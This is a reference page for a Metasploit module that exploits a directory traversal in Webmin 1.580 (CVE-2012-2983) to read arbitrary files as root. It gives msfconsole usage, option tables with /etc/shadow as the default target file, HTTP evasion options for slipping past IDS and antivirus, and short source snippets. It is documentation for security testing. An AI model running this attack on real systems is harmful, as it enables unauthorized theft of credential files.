Webmin edit_html.cgi file Parameter Traversal Arbitrary File Access - Metasploit

This page contains detailed information about how to use the auxiliary/admin/webmin/edit_html_fileaccess metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview

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Name: Webmin edit_html.cgi file Parameter Traversal Arbitrary File Access
Module: auxiliary/admin/webmin/edit_html_fileaccess
Source code: modules/auxiliary/admin/webmin/edit_html_fileaccess.rb
Disclosure date: 2012-09-06
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888, 10000
List of CVEs: CVE-2012-2983

This module exploits a directory traversal in Webmin 1.580. The vulnerability exists in the edit_html.cgi component and allows an authenticated user with access to the File Manager Module to access arbitrary files with root privileges. The module has been tested successfully with Webmin 1.580 over Ubuntu 10.04.

Module Ranking and Traits

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Module Ranking:

• normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

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msf > use auxiliary/admin/webmin/edit_html_fileaccess
msf auxiliary(edit_html_fileaccess) > show targets
    ... a list of targets ...
msf auxiliary(edit_html_fileaccess) > set TARGET target-id
msf auxiliary(edit_html_fileaccess) > show options
    ... show and set options ...
msf auxiliary(edit_html_fileaccess) > exploit

Required Options

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• RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

• USERNAME: Webmin Username

• PASSWORD: Webmin Password

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Msfconsole Usage

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Here is how the admin/webmin/edit_html_fileaccess auxiliary module looks in the msfconsole:

msf6 > use auxiliary/admin/webmin/edit_html_fileaccess

msf6 auxiliary(admin/webmin/edit_html_fileaccess) > show info

       Name: Webmin edit_html.cgi file Parameter Traversal Arbitrary File Access
     Module: auxiliary/admin/webmin/edit_html_fileaccess
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2012-09-06

Provided by:
  Unknown
  juan vazquez <[email protected]>

Available actions:
  Name      Description
  ----      -----------
  Download  Download arbitrary file

Check supported:
  No

Basic options:
  Name      Current Setting  Required  Description
  ----      ---------------  --------  -----------
  DEPTH     4                yes       Traversal depth
  PASSWORD                   yes       Webmin Password
  Proxies                    no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                     yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPATH     /etc/shadow      yes       The file to download
  RPORT     10000            yes       The target port (TCP)
  SSL       true             yes       Use SSL
  USERNAME                   yes       Webmin Username
  VHOST                      no        HTTP server virtual host

Description:
  This module exploits a directory traversal in Webmin 1.580. The 
  vulnerability exists in the edit_html.cgi component and allows an 
  authenticated user with access to the File Manager Module to access 
  arbitrary files with root privileges. The module has been tested 
  successfully with Webmin 1.580 over Ubuntu 10.04.

References:
  OSVDB (85247)
  http://www.securityfocus.com/bid/55446
  https://nvd.nist.gov/vuln/detail/CVE-2012-2983
  http://www.americaninfosec.com/research/dossiers/AISG-12-002.pdf
  https://github.com/webmin/webmin/commit/4cd7bad70e23e4e19be8ccf7b9f245445b2b3b80

Module Options

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This is a complete list of options available in the admin/webmin/edit_html_fileaccess auxiliary module:

msf6 auxiliary(admin/webmin/edit_html_fileaccess) > show options

Module options (auxiliary/admin/webmin/edit_html_fileaccess):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   DEPTH     4                yes       Traversal depth
   PASSWORD                   yes       Webmin Password
   Proxies                    no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                     yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPATH     /etc/shadow      yes       The file to download
   RPORT     10000            yes       The target port (TCP)
   SSL       true             yes       Use SSL
   USERNAME                   yes       Webmin Username
   VHOST                      no        HTTP server virtual host

Auxiliary action:

   Name      Description
   ----      -----------
   Download  Download arbitrary file

Advanced Options

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Here is a complete list of advanced options supported by the admin/webmin/edit_html_fileaccess auxiliary module:

msf6 auxiliary(admin/webmin/edit_html_fileaccess) > show advanced

Module advanced options (auxiliary/admin/webmin/edit_html_fileaccess):

   Name                  Current Setting                                     Required  Description
   ----                  ---------------                                     --------  -----------
   DOMAIN                WORKSTATION                                         yes       The domain to use for Windows authentication
   DigestAuthIIS         true                                                no        Conform to IIS, should work for most servers. Only set to false for non-IIS servers
   FingerprintCheck      true                                                no        Conduct a pre-exploit fingerprint verification
   HttpClientTimeout                                                         no        HTTP connection and receive timeout
   HttpPassword                                                              no        The HTTP password to specify for authentication
   HttpRawHeaders                                                            no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace             false                                               no        Show the raw HTTP requests and responses
   HttpTraceColors       red/blu                                             no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly  false                                               no        Show HTTP headers only in HttpTrace
   HttpUsername                                                              no        The HTTP username to specify for authentication
   SSLVersion            Auto                                                yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   UserAgent             Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)  no        The User-Agent header to use for all requests
   VERBOSE               false                                               no        Enable detailed status messages
   WORKSPACE                                                                 no        Specify the workspace for this module

Auxiliary Actions

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This is a list of all auxiliary actions that the admin/webmin/edit_html_fileaccess module can do:

msf6 auxiliary(admin/webmin/edit_html_fileaccess) > show actions

Auxiliary actions:

   Name      Description
   ----      -----------
   Download  Download arbitrary file

Evasion Options

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Here is the full list of possible evasion options supported by the admin/webmin/edit_html_fileaccess auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(admin/webmin/edit_html_fileaccess) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request

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Error Messages

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This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Authentication failed

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Here is a relevant code snippet related to the "Authentication failed" error message:

67:	    if res and res.code == 302 and res.get_cookies =~ /sid/
68:	      session = res.get_cookies.scan(/sid\=(\w+)\;*/).flatten[0] || ''
69:	      if session and not session.empty?
70:	        print_good "Authentication successful"
71:	      else
72:	        print_error "Authentication failed"
73:	        return
74:	      end
75:	    else
76:	      print_error "Authentication failed"
77:	      return

Authentication failed

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Here is a relevant code snippet related to the "Authentication failed" error message:

71:	      else
72:	        print_error "Authentication failed"
73:	        return
74:	      end
75:	    else
76:	      print_error "Authentication failed"
77:	      return
78:	    end
79:	
80:	    print_status("Attempting to retrieve #{datastore['RPATH']}...")
81:	

Failed to retrieve the file

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Here is a relevant code snippet related to the "Failed to retrieve the file" error message:

94:	      loot = $1
95:	      f = ::File.basename(datastore['RPATH'])
96:	      path = store_loot('webmin.file', 'application/octet-stream', rhost, loot, f, datastore['RPATH'])
97:	      print_good("#{datastore['RPATH']} saved in #{path}")
98:	    else
99:	      print_error("Failed to retrieve the file")
100:	      return
101:	    end
102:	
103:	  end
104:	end

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Related Pull Requests

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• #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
• #13443 Merged Pull Request: Add descriptions to auxiliary modules Actions
• #8888 Merged Pull Request: spelling/grammar fixes part 1
• #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
• #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
• #6812 Merged Pull Request: Resolve #6807, remove all OSVDB references.
• #6655 Merged Pull Request: use MetasploitModule as a class name
• #6648 Merged Pull Request: Change metasploit class names
• #6526 Merged Pull Request: Peers for the peer god
• #3354 Merged Pull Request: Resolved some msftidy warnings (Set-Cookie)
• #2525 Merged Pull Request: Change module boilerplate
• #793 Merged Pull Request: Grammar fixes and dev experiment
• #789 Merged Pull Request: added module for CVE-2012-2983

References

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• OSVDB (85247)
• BID-55446
• CVE-2012-2983
• http://www.americaninfosec.com/research/dossiers/AISG-12-002.pdf
• https://github.com/webmin/webmin/commit/4cd7bad70e23e4e19be8ccf7b9f245445b2b3b80

See Also

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Check also the following modules related to this module:

• auxiliary/admin/webmin/file_disclosure
• exploit/linux/http/webmin_backdoor
• exploit/linux/http/webmin_file_manager_rce
• exploit/linux/http/webmin_package_updates_rce
• exploit/linux/http/webmin_packageup_rce
• exploit/unix/webapp/webmin_show_cgi_exec
• exploit/unix/webapp/webmin_upload_exec
• auxiliary/scanner/http/wp_mobileedition_file_read
• auxiliary/admin/http/contentkeeper_fileaccess
• auxiliary/scanner/http/atlassian_crowd_fileaccess
• auxiliary/scanner/http/hp_sitescope_getfileinternal_fileaccess
• auxiliary/scanner/http/hp_sitescope_loadfilecontent_fileaccess
• auxiliary/scanner/http/mediawiki_svg_fileaccess
• auxiliary/scanner/http/novell_file_reporter_fsfui_fileaccess
• auxiliary/scanner/http/novell_file_reporter_srs_fileaccess
• auxiliary/scanner/http/zenworks_assetmanagement_fileaccess
• auxiliary/scanner/misc/easycafe_server_fileaccess
• auxiliary/scanner/misc/zenworks_preboot_fileaccess
• auxiliary/scanner/scada/indusoft_ntwebserver_fileaccess
• auxiliary/scanner/scada/sielco_winlog_fileaccess
• exploit/linux/local/sudo_baron_samedit
• exploit/multi/http/coldfusion_ckeditor_file_upload
• exploit/unix/webapp/coppermine_piceditor
• exploit/unix/webapp/openx_banner_edit
• exploit/unix/webapp/wp_frontend_editor_file_upload
• exploit/windows/fileformat/documalis_pdf_editor_and_scanner
• exploit/windows/http/coldfusion_fckeditor
• auxiliary/gather/android_htmlfileprovider
• exploit/linux/http/glpi_htmlawed_php_injection
• exploit/windows/browser/enjoysapgui_preparetoposthtml
• exploit/windows/browser/ms09_043_owc_htmlurl
• exploit/windows/browser/ms11_050_mshtml_cobjectelement
• exploit/windows/fileformat/word_mshtml_rce

Related Nessus plugins:

• Mandriva Linux Security Advisory : webmin (MDVSA-2014:062)
• Webmin <= 1.590 Multiple Vulnerabilities

Authors

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• Unknown
• juan vazquez

Version

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This page has been produced using Metasploit Framework version 6.2.26-dev. For more modules, visit the Metasploit Module Library.

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